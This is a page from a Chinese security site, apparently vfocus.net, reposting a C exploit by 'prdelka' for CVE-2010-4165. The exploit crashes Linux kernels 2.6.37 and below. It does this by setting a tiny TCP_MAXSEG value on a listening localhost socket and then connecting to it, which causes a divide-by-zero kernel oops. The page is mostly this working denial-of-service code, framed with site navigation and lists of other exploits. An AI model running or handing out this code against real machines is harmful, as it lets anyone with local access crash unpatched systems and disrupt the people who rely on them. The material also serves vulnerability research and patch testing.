首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel <= 2.6.37 Local Kernel Denial of Service
来源:vfocus.net 作者:prdelka 发布时间:2011-03-02  

/* Linux Kernel <= 2.6.37 local kernel DoS (CVE-2010-4165)
 * =======================================================
 * A divide by 0 error occurs in tcp_select_initial_window
 * when processing user supplied TCP_MAXSEG facilitating a
 * local denial-of-service condition (kernel oops!) in all
 * Linux Kernel 2.6.x branch (2.6.37 & below). This issue
 * can be triggered easily with a call to setsockopt() on
 * a listening network socket and then establishing a TCP
 * connection to the awaiting socket.
 *
 * -- prdelka
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>


int main() {
 int optval, optlen, ret, sd, sd2, pid;
 char *host = "localhost"; 
 struct sockaddr_in locAddr;
 struct sockaddr_in servAddr;
 struct sockaddr_in dstAddr;
 printf("[ Linux Kernel tcp_select_initial_window divide by 0 DoS\n"); 
 sd = socket(AF_INET, SOCK_STREAM, 0);
 memset(&servAddr,0,sizeof(servAddr));
 memset(&dstAddr,0,sizeof(dstAddr));
        servAddr.sin_family = AF_INET;
        servAddr.sin_port = htons(60000);
        servAddr.sin_addr.s_addr = INADDR_ANY;
 dstAddr.sin_family = AF_INET;
 inet_aton("127.0.0.1", &dstAddr.sin_addr);
 dstAddr.sin_port = htons(60000);
        if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){
                printf("[ Cannot bind listener service\n");
                exit(-1);
        }
 listen(sd,4);
 optval = 12;
 ret = setsockopt(sd, IPPROTO_TCP, TCP_MAXSEG, &optval, sizeof(optval));
 if(ret==0)
 {
  printf("[ System is not patched against CVE-2010-4165\n[ Goodnight, sweet prince.\n");
  int sin_size = sizeof(struct sockaddr_in);
  switch(pid = fork())
  {
   case 0:
    sd = accept(sd,(struct sockaddr *)&locAddr,&sin_size);
    sleep(3);
   default:
    sd2 = socket(AF_INET, SOCK_STREAM, 0);
    connect(sd2, (struct sockaddr *)&dstAddr, sizeof(dstAddr));
    sleep(3);
  }
 }
 printf("[ System is patched, no dreams for this prince\n");
 return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MS11-011(CVE-2011-0045): MS Wi
·Magic Music Editor Buffer Over
·Vsftpd version 2.3.2 proof of
·cChatBox for vBulletin 3.6.8 a
·Vsftpd 2.3.2 Denial Of Service
·PHP Exif Extension 'exif_read_
·TIOD v1.3.3 for iPhone / iPod
·Quick 'n Easy FTP Server 3.2 D
·Home FTP SERVER 1.12 Directory
·Citrix Access Gateway Command
·Magic Music Editor .cda Denial
·NetSupport Manager Agent Remot
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved